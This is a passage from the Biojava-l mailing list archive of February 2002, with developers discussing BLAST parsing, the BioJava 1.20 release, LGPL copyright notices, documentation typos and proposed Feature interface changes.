Do You Yahoo!?
Send FREE Valentine eCards with Yahoo! Greetings!
http://greetings.yahoo.com
From terbaour@IRO.UMontreal.CA Tue Feb 12 18:44:34 2002
From: terbaour@IRO.UMontreal.CA (Ratiba Terbaoui)
Date: Tue, 12 Feb 2002 13:44:34 -0500
Subject: [Biojava-l] Blast And Biojava
Message-ID: <3C696292.C8F75DBC@IRO.UMontreal.CA>
hello,
I'm a new user of Biojava and i want to know if i can run Blast using
Biojava, which classes i have tu use
thanks.
Ratiba.
From td2@sanger.ac.uk Tue Feb 12 19:59:06 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Tue, 12 Feb 2002 19:59:06 +0000
Subject: [Biojava-l] Blast And Biojava
In-Reply-To: <3C696292.C8F75DBC@IRO.UMontreal.CA>; from terbaour@IRO.UMontreal.CA on Tue, Feb 12, 2002 at 01:44:34PM -0500
References: <3C696292.C8F75DBC@IRO.UMontreal.CA>
Message-ID: <20020212195906.B540@adnah.sanger.ac.uk>
On Tue, Feb 12, 2002 at 01:44:34PM -0500, Ratiba Terbaoui wrote:
>
> hello,
>
> I'm a new user of Biojava and i want to know if i can run Blast using
> Biojava, which classes i have tu use
Hi...
BioJava includes some a fairly advanced parser for output
from the `blast' family of programs. There's some tutorial
documentation about this on the website:
http://www.biojava.org/tutorials/blastlikeParsingCookBook/cookbook.html
You might also like to look at the javadoc documentation
for the packages:
org.biojava.bio.program.sax
org.biojava.bio.program.ssbind
What this code /doesn't/ do for you is run the blast program
itself. At the moment, the best way to do this is to use
the Java Process API. Look at the classes java.lang.Runtime
and java.lang.Process in the Java API.
It might be nice to have a wrapper within BioJava for
launching blast, but this potentially leads to awkward
questions, like where to find blast executables, how to
set command line options, etc...
Hope you find this a good starting point -- mail me or
the list if you have any trouble,
Thomas.
From td2@sanger.ac.uk Tue Feb 12 21:17:47 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Tue, 12 Feb 2002 21:17:47 +0000
Subject: [Biojava-l] Announce: BioJava 1.20
Message-ID: <20020212211747.A546@adnah.sanger.ac.uk>
Hi...
I've just finished uploading the usual source, binary,
and javadoc releases of BioJava 1.20, the first full release
from the 1.2 branch. Get yours now from:
http://www.biojava.org/download/
I'm planning to announce this on the website, and on freshmeat.net,
shortly.
Although the core interfaces have changed very little since
the 1.1 branch, the codebase has in fact virtually doubled in
size, and there's a huge amount of new and improved
functionality. I'd urge anyone who hasn't been tracking
development closely to take a look at the API documentation:
http://www.biojava.org/docs/api/
Thanks to everyone who's contributed to this release:
Brian King
Cambridge Antibody Technology
David Huen
David Waring
Doubletwist, Inc
Gerald Loeffler
Greg Cox
Hanning Ni
Keith James
Kim Rutherford
Mark Schreiber
Matthew Pocock
Mayo Foundation
Michael Heuer
Michael Jones
Netgenics
Ron Kuhn
Samiul Hasan
Thad Welch
Thomas Down
Tony Watkins
And, of course, to everyone who's reported bugs and asked
questions!
I'd especially like to thank Keith James, who was responsible
for setting up the automated junit test suite, and writing
many of the tests. This has definitely helped reliability,
and I hope we can further improve test coverage during the
next development cycle.
Anyway, enjoy this release!
Thomas
From karen@phys.latech.edu Tue Feb 12 23:40:59 2002
From: karen@phys.latech.edu (Karen Petrosyan)
Date: Tue, 12 Feb 2002 17:40:59 -0600 (CST)
Subject: [Biojava-l] Re: RNA secondary structure prediction
In-Reply-To: <Pine.LNX.4.33.0202101908060.18991-100000@alpha6.phys.latech.edu>
Message-ID: <Pine.LNX.4.33.0202121735020.10625-100000@caps1.phys.latech.edu>
Well, I guess the answer is negative. I've found only
RNATools/Feature classes with an interface. Those
classes do not contain what I'm looking for.
Do I miss anything?
On Sun, 10 Feb 2002, Karen Petrosyan wrote:
> Hi biojava developers:
>
> I'm wondering if biojava contains any RNA secondary
> structure prediction. I'm looking for a Java class(es)
> that would take a sequence as input and will then
> output a secondary structure being able to predict
> e.g. stem-loops.
>
> I'll appreciate any info/comments.
>
> Best regards,
> Karen
>
>
From matthew_pocock@yahoo.co.uk Tue Feb 12 23:27:35 2002
From: matthew_pocock@yahoo.co.uk (Matthew Pocock)
Date: Tue, 12 Feb 2002 23:27:35 +0000
Subject: [Biojava-l] Re: RNA secondary structure prediction
References: <Pine.LNX.4.33.0202121735020.10625-100000@caps1.phys.latech.edu>
Message-ID: <3C69A4E7.6000101@yahoo.co.uk>
You didn't miss it. Predicting 2ndary structure in RNA is a hard
problem. You may want to check out Sean Eddy's web site as he was
interested in this stuff.
Matthew
Karen Petrosyan wrote:
> Well, I guess the answer is negative. I've found only
> RNATools/Feature classes with an interface. Those
> classes do not contain what I'm looking for.
> Do I miss anything?
>
>
> On Sun, 10 Feb 2002, Karen Petrosyan wrote:
>
>
>>Hi biojava developers:
>>
>>I'm wondering if biojava contains any RNA secondary
>>structure prediction. I'm looking for a Java class(es)
>>that would take a sequence as input and will then
>>output a secondary structure being able to predict
>>e.g. stem-loops.
>>
>>I'll appreciate any info/comments.
>>
>>Best regards,
>>Karen
>>
>>
>>
>
> _______________________________________________
> Biojava-l mailing list - Biojava-l@biojava.org
> http://biojava.org/mailman/listinfo/biojava-l
>
>
_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com
From mark.schreiber@agresearch.co.nz Wed Feb 13 01:00:25 2002
From: mark.schreiber@agresearch.co.nz (Schreiber, Mark)
Date: Wed, 13 Feb 2002 14:00:25 +1300
Subject: [Biojava-l] FeatureImpl
Message-ID: <AF026AF0FF4B054590228FD1F1DE51650F421D@inbox.agresearch.co.nz>
Hi -
I have noticed that the following block of code in FeatureImpl:
try {
d.addImplementation(Feature.Template.class,
SimpleFeature.class);
d.addImplementation(StrandedFeature.Template.class,
SimpleStrandedFeature.class);
d.addImplementation(HomologyFeature.Template.class,
SimpleHomologyFeature.class);
d.addImplementation(SimilarityPairFeature.Template.class,
SimpleSimilarityPairFeature.class);
d.addImplementation(RemoteFeature.Template.class,
SimpleRemoteFeature.class);
} catch (BioException ex) {
throw new BioError(ex, "Couldn't initialize default
FeatureRealizer");
}
Needs to have d.addImplementation(FramedFeature.Template.class,
SimpleFramedFeature.class); added to it. I will check this into the
Biojava-live cvs. Someone might want to put it in the 1.2 branch. I
don't think many people will be affected as the uses of FramedFeature
are pretty esoteric (ie I invented it for my use but some others might
want it).
The only symptom of it not being there is that your FramedFeature can
sometimes become a StrandedFeature during filtering via the wonders of
reflection/introspection.
Cheers
Mark Schreiber
Bioinformatics
AgResearch Invermay
PO Box 50034
Mosgiel
New Zealand
PH: +64 3 489 9175
=======================================================================
Attention: The information contained in this message and/or attachments
from AgResearch Limited is intended only for the persons or entities
to which it is addressed and may contain confidential and/or privileged
material. Any review, retransmission, dissemination or other use of, or
taking of any action in reliance upon, this information by persons or
entities other than the intended recipients is prohibited by AgResearch
Limited. If you have received this message in error, please notify the
sender immediately.
=======================================================================
From Robin.Emig@maxygen.com Wed Feb 13 01:39:31 2002
From: Robin.Emig@maxygen.com (Emig, Robin)
Date: Tue, 12 Feb 2002 17:39:31 -0800
Subject: [Biojava-l] Copyright notices
Message-ID: <A81B7BE4F3B43944995476AF63035E400F630C@rc-ga-ex-1.mxygn.com>
Copyright 2000,2001 Cambridge Antibody Technology. All Rights Reserved
I noticed that many files contain the above copyright notice.
1) Does this conflict at all with the files being under lgpl
2) regardless can we remove them? and put the lgpl notice?
-Robin
From mark.schreiber@agresearch.co.nz Wed Feb 13 01:46:43 2002
From: mark.schreiber@agresearch.co.nz (Schreiber, Mark)
Date: Wed, 13 Feb 2002 14:46:43 +1300
Subject: [Biojava-l] Copyright notices
Message-ID: <AF026AF0FF4B054590228FD1F1DE51650F4222@inbox.agresearch.co.nz>
I don't think it does. The lgpl specifies that the code is owned by the
developers (the developer effectively being Cambridge Antibody
Technology in this case) although it is still released under the lgpl.
As for point 2, that's not really upto me :-)
Mark
-----Original Message-----
From: Emig, Robin [mailto:Robin.Emig@maxygen.com]
Sent: Wednesday, 13 February 2002 2:40 p.m.
To: biojava-l@biojava.org
Subject: [Biojava-l] Copyright notices
Copyright (c) 2000,2001 Cambridge Antibody Technology. All Rights
Reserved
I noticed that many files contain the above copyright notice.
1) Does this conflict at all with the files being under lgpl
2) regardless can we remove them? and put the lgpl notice? -Robin
_______________________________________________
Biojava-l mailing list - Biojava-l@biojava.org
http://biojava.org/mailman/listinfo/biojava-l
=======================================================================
Attention: The information contained in this message and/or attachments
from AgResearch Limited is intended only for the persons or entities
to which it is addressed and may contain confidential and/or privileged
material. Any review, retransmission, dissemination or other use of, or
taking of any action in reliance upon, this information by persons or
entities other than the intended recipients is prohibited by AgResearch
Limited. If you have received this message in error, please notify the
sender immediately.
=======================================================================
From mdickson@netgenics.com Wed Feb 13 02:07:01 2002
From: mdickson@netgenics.com (Dickson, Mike)
Date: Tue, 12 Feb 2002 21:07:01 -0500
Subject: [Biojava-l] Copyright notices
Message-ID: <DB52A7625347D211A1D70060B06AB1E203FC922E@exchgcle.dev.netgenics.com>
That's correct. A copyright indicates ownership/authorship. The license
used for distribution is a separate matter.
> -----Original Message-----
> From: Schreiber, Mark [mailto:mark.schreiber@agresearch.co.nz]
> Sent: Tuesday, February 12, 2002 8:47 PM
> To: Emig, Robin
> Cc: biojava-l@biojava.org
> Subject: RE: [Biojava-l] Copyright notices
>
> I don't think it does. The lgpl specifies that the code is owned by the
> developers (the developer effectively being Cambridge Antibody
> Technology in this case) although it is still released under the lgpl.
>
> As for point 2, that's not really upto me :-)
>
> Mark
>
> -----Original Message-----
> From: Emig, Robin [mailto:Robin.Emig@maxygen.com]
> Sent: Wednesday, 13 February 2002 2:40 p.m.
> To: biojava-l@biojava.org
> Subject: [Biojava-l] Copyright notices
>
>
> Copyright (c) 2000,2001 Cambridge Antibody Technology. All Rights
> Reserved
>
> I noticed that many files contain the above copyright notice.
>
> 1) Does this conflict at all with the files being under lgpl
> 2) regardless can we remove them? and put the lgpl notice? -Robin
> _______________________________________________
> Biojava-l mailing list - Biojava-l@biojava.org
> http://biojava.org/mailman/listinfo/biojava-l
> =======================================================================
> Attention: The information contained in this message and/or attachments
> from AgResearch Limited is intended only for the persons or entities
> to which it is addressed and may contain confidential and/or privileged
> material. Any review, retransmission, dissemination or other use of, or
> taking of any action in reliance upon, this information by persons or
> entities other than the intended recipients is prohibited by AgResearch
> Limited. If you have received this message in error, please notify the
> sender immediately.
> =======================================================================
> _______________________________________________
> Biojava-l mailing list - Biojava-l@biojava.org
> http://biojava.org/mailman/listinfo/biojava-l
From smh1008@cus.cam.ac.uk Wed Feb 13 08:18:01 2002
From: smh1008@cus.cam.ac.uk (David Huen)
Date: Wed, 13 Feb 2002 08:18:01 +0000 (GMT)
Subject: [Biojava-l] Re: RNA secondary structure prediction
In-Reply-To: <Pine.LNX.4.33.0202121735020.10625-100000@caps1.phys.latech.edu>
Message-ID: <Pine.SOL.3.96.1020213081730.3412A-100000@virgo.cus.cam.ac.uk>
On Tue, 12 Feb 2002, Karen Petrosyan wrote:
> Well, I guess the answer is negative. I've found only
> RNATools/Feature classes with an interface. Those
> classes do not contain what I'm looking for.
> Do I miss anything?
>
I may be mistaken but I don't think there is an RNA folding tool.
David Huen
From simon.brocklehurst@CambridgeAntibody.com Wed Feb 13 10:17:55 2002
From: simon.brocklehurst@CambridgeAntibody.com (Simon Brocklehurst)
Date: Wed, 13 Feb 2002 10:17:55 +0000
Subject: [Biojava-l] Copyright notices
References: <A81B7BE4F3B43944995476AF63035E400F630C@rc-ga-ex-1.mxygn.com>
Message-ID: <3C6A3D52.196FB14@CambridgeAntibody.com>
"Emig, Robin" wrote:
> Copyright 2000,2001 Cambridge Antibody Technology. All Rights Reserved
>
> I noticed that many files contain the above copyright notice.
>
> 1) Does this conflict at all with the files being under lgpl
As others have said, this isn't a problem with LGPL
>
> 2) regardless can we remove them? and put the lgpl notice?
> -Robin
Not really ;-) Making it as clear as is reasonably possible that we are the
copyright holders of code that we author is important to us. It's also
worth noting in this regard that the LGPL license actually *requires* that
copyright holders assert their copyright (I think). The LGPL notices *are*
present in all the source code files in the standard biojava way. Or at
least these should be present - if any have been missed off in error, we need
to add them
If the copyright phrase is causing your legal department headaches (I don't
think it should - the LGPL license is perfectly clear), we can explicitly add
a phrase to the effect that standard LGPL license terms apply?
Simon
--
Simon M. Brocklehurst, Ph.D.
Head of Bioinformatics & Advanced IS
Cambridge Antibody Technology
The Science Park, Melbourn, Cambridgeshire, UK
http://www.CambridgeAntibody.com/
mailto:simon.brocklehurst@CambridgeAntibody.com
From kdj@sanger.ac.uk Wed Feb 13 10:04:16 2002
From: kdj@sanger.ac.uk (Keith James)
Date: 13 Feb 2002 10:04:16 +0000
Subject: [Biojava-l] SequencePanel/Poster
In-Reply-To: <E0143A5FB74ED31193320090279337D7FA836A@dougal.oxagen.co.uk>
References: <E0143A5FB74ED31193320090279337D7FA836A@dougal.oxagen.co.uk>
Message-ID: <sc4u1slofz3.fsf@fes1.sanger.ac.uk>
>>>>> "Jolyon" == Jolyon Holdstock <j.holdstock@oxagen.co.uk> writes:
Jolyon> Hi, Should SequencePoster still be in the API (at
Jolyon> biojava.org) as SequencePanel seems identical? Cheers,
Jolyon> Jolyon
I guess that SequencePoster could go as it seems to have the same
functionality as SequencePanel, just a slightly different
implementation. In fact, the possibility of TranslatedSequencePanel
being the the default SequencePanel was raised a while back.
What we have now are:
SequencePoster - older implementation
SequencePanel - main implementation containing a drawing workaround
which allows high pixel coordinates to be drawn accurately by
translating them towards zero, but which gives unexpected results when
making a BufferedImage from the panel. Nice and easy to use.
TranslatedSequencePanel - supplementary implementation which uses a
different drawing workaround which avoids use of high pixel
coordinates altogether and doesn't suffer the BufferedImage offset
problem, but which is not a drop-in replacement (if you drop it in it
will work, but the high pixel coordinates problem remains - you need
to use its extra translation methods to pan the view to high
sequence/low pixel coords). However, performance is much (6-8x)
improved and it generally feels more snappy.
I think SequencePoster should go. Not sure about the others - I think
there's room for both if the differences are clearly documented.
Keith
--
-= Keith James - kdj@sanger.ac.uk - http://www.sanger.ac.uk/Users/kdj =-
Pathogen Sequencing Unit, Wellcome Trust Sanger Institute, Cambridge, UK
From tony_watkins@ntlworld.com Wed Feb 13 10:43:45 2002
From: tony_watkins@ntlworld.com (Tony Watkins)
Date: Wed, 13 Feb 2002 10:43:45 +0000
Subject: [Biojava-l] More Typos
Message-ID: <5.1.0.14.0.20020213100247.009facb0@pop.ntlworld.com>
--=====================_3945328==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed
Some more in the documentation...
Package org.biojava.bio.seq.impl
Class AssembledSymbolList
(original)
Support class for applications which need to patch together sections of
sequence into a single SymbolList
(suggested corrections)
either
... sections of *a* sequence into a single SymbolList
or
... sections of *multiple sequences* into a single SymbolList
(not sure if the 2nd alternative makes sense)
Class SimpleFramedFeature
Documentation doesn't quite follow other standards -
eg. Title: SimpleFramedFeature
This doesn't normally appear.
(Original)
Description: A no frills implementation of FramedFeature
(suggested correction)
A no frills implementation of FramedFeature
Package org.biojava.utils
Interface ActivityListener
(original)
Interface for object which monitor long-running activities
(suggested correction)
Interface for *objects* which monitor long-running activities
method activityProgress
(original)
Estimated progress of an activity. This indicated that current parts of the
activity have been completed, out of a target target
(suggested correction)
Estimated progress of an activity. This *indicates* that current parts of
the activity have been completed, out of a target target
Interface Changeable
method removeChangeListener
(original)
Remove a listener that was interested in a specific types of changes
(suggested correction)
Remove a listener that was interested in a specific *type* of *change*
Class ChangeEvent
method getChange
(original)
May return null is this is not meaningful.
(suggested correction)
May return null *if* this is not meaningful.
(ditto on getPrevious)
Class ChangeType
Field Detail
(original)
... This is the fallback for when you realy don't know what else to do
(suggested correction)
...This is the fallback for when you *really* don't know what else to do
Class NestedException
(Original)
A general perpose Exception that can wrap another exception
(suggested correction)
A general *purpose* Exception that can wrap another exception
(also)
It is common practice in BioJava to throw a NestedException or a subclass
of it when something goes wrong. The exception can be used to catch another
throwable, thus keeping a complete record of where the original error
originated while adding annotation to the stack-trace. It also affords a
neat way to avoid exception-bloat on method calls, particularly when
objects are composed from several objects from different packages
(suggested changes)
... The exception can be used to catch another throwable, thus keeping a
complete record of where the *error originated* while adding annotation to
the stack-trace. It also affords a neat way to avoid exception-bloat on
method calls, particularly when objects are composed *of* several objects
from different packages.
Class NestedRuntimeException
(original)
A general perpose RuntimeException that can wrap another exception
(suggested correction)
A general *purpose* RuntimeException that can wrap another exception
Class ParserException
method toString
(original)
Represent this exception as a string. This includes the default exception
toString representation, followed by details of the location where the
error occured, if they were supplied when constructing this exception
(suggested correction)
..., followed by details of the location where the error *occurred*, if
they were supplied ...
Hope this helps.
Cheers
--=====================_3945328==_.ALT
Content-Type: text/html; charset="us-ascii"
<html>
Some more in the documentation...<br><br>
Package org.biojava.bio.seq.impl <br><br>
Class AssembledSymbolList<br><br>
(original)<br>
Support class for applications which need to patch together sections of
sequence into a single SymbolList<br><br>
(suggested corrections)<br>
either<br><br>
... sections of *a* sequence into a single SymbolList<br><br>
or<br>
... sections of *multiple sequences* into a single SymbolList<br><br>
(not sure if the 2nd alternative makes sense)<br><br>
Class SimpleFramedFeature<br><br>
Documentation doesn't quite follow other standards - <br><br>
eg. Title: SimpleFramedFeature<br><br>
This doesn't normally appear.<br><br>
(Original)<br>
Description: A no frills implementation of FramedFeature<br><br>
(suggested correction)<br>
A no frills implementation of FramedFeature<br><br>
Package org.biojava.utils <br><br>
Interface ActivityListener<br>
(original)<br>
Interface for object which monitor long-running activities<br><br>
(suggested correction)<br>
Interface for *objects* which monitor long-running activities<br><br>
method activityProgress<br><br>
(original)<br>
Estimated progress of an activity. This indicated that
<font face="Courier New, Courier">current </font>parts of the activity
have been completed, out of<font face="Courier New, Courier">
</font>a<font face="Courier New, Courier"> target </font>target<br><br>
(suggested correction)<br>
Estimated progress of an activity. This *indicates* that
<font face="Courier New, Courier">current </font>parts of the activity
have been completed, out of a<font face="Courier New, Courier"> target
</font>target<br><br>
Interface Changeable<br><br>
method removeChangeListener<br>
(original)<br>
Remove a listener that was interested in a specific types of
changes<br><br>
(suggested correction)<br>
Remove a listener that was interested in a specific *type* of
*change*<br><br>
Class ChangeEvent<br><br>
method getChange<br>
(original)<br>
May return <font face="Courier New, Courier">null </font>is this is not
meaningful.<br><br>
(suggested correction)<br>
May return <font face="Courier New, Courier">null *</font>if* this is not
meaningful.<br><br>
(ditto on getPrevious)<br><br>
Class ChangeType<br><br>
Field Detail<br><br>
(original)<br>
... This is the fallback for when you realy don't know what else to
do<br><br>
(suggested correction)<br>
...This is the fallback for when you *really* don't know what else to
do<br><br>
Class NestedException<br><br>
(Original)<br>
A general perpose Exception that can wrap another exception<br><br>
(suggested correction)<br>
A general *purpose* Exception that can wrap another exception<br><br>
(also)<br><br>
It is common practice in BioJava to throw a NestedException or a subclass
of it when something goes wrong. The exception can be used to catch
another throwable, thus keeping a complete record of where the original
error originated while adding annotation to the stack-trace. It also
affords a neat way to avoid exception-bloat on method calls, particularly
when objects are composed from several objects from different
packages<br><br>
(suggested changes)<br><br>
... The exception can be used to catch another throwable, thus keeping a
complete record of where the *error originated* while adding annotation
to the stack-trace. It also affords a neat way to avoid exception-bloat
on method calls, particularly when objects are composed *of* several
objects from different packages.<br><br>
Class NestedRuntimeException<br>
(original)<br>
A general perpose RuntimeException that can wrap another
exception<br><br>
(suggested correction)<br>
A general *purpose* RuntimeException that can wrap another
exception<br><br>
Class ParserException<br><br>
method toString<br>
(original)<br>
Represent this exception as a string. This includes the default exception
toString representation, followed by details of the location where the
error occured, if they were supplied when constructing this
exception<br><br>
(suggested correction)<br>
..., followed by details of the location where the error *occurred*, if
they were supplied ...<br><br>
<br><br>
Hope this helps.<br><br>
Cheers<br><br>
<br><br>
<br><br>
<br><br>
</html>
--=====================_3945328==_.ALT--
From td2@sanger.ac.uk Wed Feb 13 11:03:46 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Wed, 13 Feb 2002 11:03:46 +0000
Subject: [Biojava-l] Copyright notices
In-Reply-To: <A81B7BE4F3B43944995476AF63035E400F630C@rc-ga-ex-1.mxygn.com>; from Robin.Emig@maxygen.com on Tue, Feb 12, 2002 at 05:39:31PM -0800
References: <A81B7BE4F3B43944995476AF63035E400F630C@rc-ga-ex-1.mxygn.com>
Message-ID: <20020213110346.C26926@jabba.sanger.ac.uk>
On Tue, Feb 12, 2002 at 05:39:31PM -0800, Emig, Robin wrote:
> Copyright 2000,2001 Cambridge Antibody Technology. All Rights Reserved
>
> I noticed that many files contain the above copyright notice.
>
> 1) Does this conflict at all with the files being under lgpl
> 2) regardless can we remove them? and put the lgpl notice?
Is there a problem with:
/*
* This code may be freely distributed and modified under the
* terms of the GNU Lesser General Public Licence. This should
* be distributed with the code. If you do not have a copy,
* see:
*
* http://www.gnu.org/copyleft/lesser.html
*/
Which is found at the top of pretty much all files in the
project, including the CAT contributions.
The boilerplate at the top of the file then goes on to state
that copyright is shared among the authors of the file. The
message on the CAT contributions just repeats this, I don't
think it's taking any rights away from anyone.
Are there any changes you'd like to see made to the boilerplate
which would make matters clearer?
The only real alternative we have to the current copyright
arrangements is to get everyone who contributes to the projects
to sign documents attributing copyright to a central organization.
The GNU project does this. But it's a fair amount of trouble for
contributors, and I suspect some people who are currently able
to contribute to the project would end up either fighting their
legal departments, or just giving up completely.
Thomas.
From tony_watkins@ntlworld.com Wed Feb 13 11:11:09 2002
From: tony_watkins@ntlworld.com (Tony Watkins)
Date: Wed, 13 Feb 2002 11:11:09 +0000
Subject: [Biojava-l] Typos ..
Message-ID: <5.1.0.14.0.20020213104632.009fc160@pop.ntlworld.com>
package org.biojava.utils.cache
Class FixedSizeCache
method makeReference
(Original)
Construct a temporary reference to an object. The reference persists until
it becomes dereferenced itself, it is explicitly cleared by the user, or
the cache determines that it is a candidate for disposal.
(suggested changes)
... The reference persists until it becomes *de-referenced*, *is explicitly
cleared by the user*, or the cache determines that it is a candidate for
disposal.
package org.biojava.utils.stax
Interface StAXContentHandler
(original)
Interface for StAX content handlers. This interface is very similar in
spirit and design to the SAX content handler. differance are:
(suggested correction)
Interface for StAX content handlers. This interface is very similar in
spirit and design to the SAX content handler. *The differences* are:
Class BooleanElementHandlerBase
(original)
StAX handler for any element which just contains a string representation of
an booleaneger
This calss collects the string data, and when it is complete, passes it to
the (abstract) setBooleanValue method.
(suggested corrections)
StAX handler for any element which just contains a string representation of
an *boolean*
This *class* collects the string data, and when it is complete, passes it
to the (abstract) setBooleanValue method.
Class ByteElementHandlerBase
(original)
This calss collects the string data, and when it is complete, passes it to
the (abstract) setByteValue method
(suggested correction)
This class collects the string data, and when it is complete, passes it to
the (abstract) setByteValue method
Class CharElementHandlerBase
(original)
This calss collects the string data, and when it is complete, passes it to
the (abstract) setCharValue method.
(suggested correction)
This class collects the string data, and when it is complete, passes it to
the (abstract) setCharValue method.
[methinks I see a pattern emerging ... ;)]
Class DoubleElementHandlerBase
(original)
This calss collects the string data, and when it is complete, passes it to
the (abstract) setDoubleValue method
(suggested correction)
This *class* collects the string data, and when it is complete, passes it
to the (abstract) setDoubleValue method
Class LongElementHandlerBase
(original)
This calss collects the string data, and when it is complete, passes it to
the (abstract) setLongValue method
(suggested correction)
This *class* collects the string data, and when it is complete, passes it
to the (abstract) setLongValue method
Package org.biojava.utils.xml
Description
(original)
This package contains a number of utilities for processing XML documents.
Currently, the main contents are the XMLPeerBuilder system, a simple but
configurable method for constructing hierarchies of Java objects bases on XML.
(suggested correction)
... Currently, the main contents are the XMLPeerBuilder system, a simple
but configurable method for constructing hierarchies of Java objects
*based* on XML.
Interface XMLPeerFactory
(original)
Interface to an factory which produces Java objects which reflect element
in an XML document
(suggested correction)
Interface to *a* factory which produces Java objects which reflect element
in an XML document
Class XMLDispatcher
(original)
Simple implementation of XMLPeerFactory which delegates object-
construction on the basis of tag name
(suggested correction)
Simple implementation of XMLPeerFactory which delegates *object*
construction on the basis of tag name
Class XMLPeerBuilder
(original)
SAX DocumentHandler which uses an XMLPeerFactory to construct Java objects
reflecting an XML document. The XMLPeerBuilder system takes a depth-first
approach to constructing the Object tree. This means that, before
attempting to construct an Object to represent a particular element, it
first constructs Objects for all child elelments
(suggested correction)
... This means that, before attempting to construct an Object to represent
a particular element, it first constructs Objects for all child *elements*
Ok - I have crossed eyes and an addled brain.
Laters ...
From matthew_pocock@yahoo.co.uk Wed Feb 13 12:13:41 2002
From: matthew_pocock@yahoo.co.uk (Matthew Pocock)
Date: Wed, 13 Feb 2002 12:13:41 +0000
Subject: [Biojava-l] chat
Message-ID: <3C6A5875.1080102@yahoo.co.uk>
Hi.
Thomas set up a chat-room the other day. We have been using it to talk
rubbish about/arround biojava, as well as picking each other's brains
about SQL and the meaning of life. I don't know how well it would scale
to more than a handfull of users, but it's worth trying.
irc://opennet/biojava
Matthew
From td2@jabba.sanger.ac.uk Wed Feb 13 12:28:22 2002
From: td2@jabba.sanger.ac.uk (Thomas Down)
Date: Wed, 13 Feb 2002 12:28:22 +0000
Subject: [Biojava-l] Cambridge: pub this friday?
Message-ID: <20020213122821.A501190@imperator.sanger.ac.uk>
Sorry -- this is probably off-topic for anyone who isn't
based in the Cambridge area.
What with the 1.2 release finally... released, and Matthew
Pocock making a (brief) return to Cambridge, I figure we've
got at least two more excuses than are strictly required for
a trip to the pub on friday evening.
Matthew's suggested the Osborne Arms. Not too far from
central Cambridge, and serves food until 9.30pm.
Anybody interested?
Thomas.
From td2@sanger.ac.uk Wed Feb 13 12:52:13 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Wed, 13 Feb 2002 12:52:13 +0000
Subject: [Biojava-l] chat
In-Reply-To: <3C6A5875.1080102@yahoo.co.uk>; from matthew_pocock@yahoo.co.uk on Wed, Feb 13, 2002 at 12:13:41PM +0000
References: <3C6A5875.1080102@yahoo.co.uk>
Message-ID: <20020213125212.B501190@imperator.sanger.ac.uk>
On Wed, Feb 13, 2002 at 12:13:41PM +0000, Matthew Pocock wrote:
> Hi.
>
> Thomas set up a chat-room the other day. We have been using it to talk
> rubbish about/arround biojava, as well as picking each other's brains
> about SQL and the meaning of life. I don't know how well it would scale
> to more than a handfull of users, but it's worth trying.
>
> irc://opennet/biojava
That looks rather like a Chatzilla-ism.
Try:
irc.openprojects.net, port 6667, channel #biojava
Thomas.
From matthew_pocock@yahoo.co.uk Wed Feb 13 16:38:09 2002
From: matthew_pocock@yahoo.co.uk (Matthew Pocock)
Date: Wed, 13 Feb 2002 16:38:09 +0000
Subject: [Biojava-l] Feature interface changes
Message-ID: <3C6A9671.5080405@yahoo.co.uk>
Hi all.
Since the 1.2 release is out, we can now start to think about some of
the issues we have had with the current APIs. These changes would never
be back-ported onto the release branch. We are commited to keeping the
release branch APIs stable.
I think the Feature interface may be up for renewal. Here is my wish-list.
idea:
- make the core properties of Feature and its sub-interfaces
mutable
consequences:
- get/set methods for things like location
- changes must be propogated through our Feature projections
- new code using getFoo will not be link-time compatable
with old code
- old code will be compatable with new API
severity:
- i think we can live with this - we can fix the serialuid
so that at least objects can be read/written from either
model
idea:
- replace the current Feture.Template instantiation system
with an Annotation that conforms to the apropreate
AnnotationType
consequences:
- we could then instantiate features that inherit more than
one feature interface e.g. Stranded & Framed
- new code instantiating features would not be compatible
with old code in either combination
- possibility for much freer association of feature 'types'
with interfaces, making ontologies of feature types more
easily possible
severity:
- this will break all feature instantiation code which
will impact a reasonable number of files
- most of the fixes can be located with search/replace
synergy:
- the ChangeType instances that must be created for
mutable features to be implemented can double up as
property names in the Annotation bundles used to
instantiate them
- properties that can't be represented as feature
properties due to a provider not implementing that
interface can be stored under this key in the feature's
annotation and this can be recognised by the annotation
bundle's event forwarding code, providing a potentialy
clean abstraction of the objects from their implementation.
All ideas, flames and dirty jokes greatfully recieved.
Matthew
From Robin.Emig@maxygen.com Wed Feb 13 17:06:00 2002
From: Robin.Emig@maxygen.com (Emig, Robin)
Date: Wed, 13 Feb 2002 09:06:00 -0800
Subject: [Biojava-l] Copyright notices
Message-ID: <A81B7BE4F3B43944995476AF63035E407093FD@rc-ga-ex-1.mxygn.com>
Actually there are a few that do not specifically note the LGPL, just the copyright from CAT. I think it would be fine just to make sure the LGPL notice is in each file.
Thanks
Sorry, I don't mean to make trouble, but we do have the "best" lawyers around :)
-----Original Message-----
From: Simon Brocklehurst
[mailto:simon.brocklehurst@CambridgeAntibody.com]
Sent: Wednesday, February 13, 2002 2:18 AM
To: Emig, Robin
Cc: biojava-l@biojava.org
Subject: Re: [Biojava-l] Copyright notices
"Emig, Robin" wrote:
> Copyright 2000,2001 Cambridge Antibody Technology. All Rights Reserved
>
> I noticed that many files contain the above copyright notice.
>
> 1) Does this conflict at all with the files being under lgpl
As others have said, this isn't a problem with LGPL
>
> 2) regardless can we remove them? and put the lgpl notice?
> -Robin
Not really ;-) Making it as clear as is reasonably possible that we are the
copyright holders of code that we author is important to us. It's also
worth noting in this regard that the LGPL license actually *requires* that
copyright holders assert their copyright (I think). The LGPL notices *are*
present in all the source code files in the standard biojava way. Or at
least these should be present - if any have been missed off in error, we need
to add them
If the copyright phrase is causing your legal department headaches (I don't
think it should - the LGPL license is perfectly clear), we can explicitly add
a phrase to the effect that standard LGPL license terms apply?
Simon
--
Simon M. Brocklehurst, Ph.D.
Head of Bioinformatics & Advanced IS
Cambridge Antibody Technology
The Science Park, Melbourn, Cambridgeshire, UK
http://www.CambridgeAntibody.com/
mailto:simon.brocklehurst@CambridgeAntibody.com
From dwaring@u.washington.edu Wed Feb 13 21:06:30 2002
From: dwaring@u.washington.edu (David Waring)
Date: Wed, 13 Feb 2002 13:06:30 -0800
Subject: [Biojava-l] Writing Genbank Files
Message-ID: <HCEOLHNOIDOJLKLGOAFMIEELCDAA.dwaring@u.washington.edu>
Is the GenbankFormat supposed to write full genbank files? If I read a
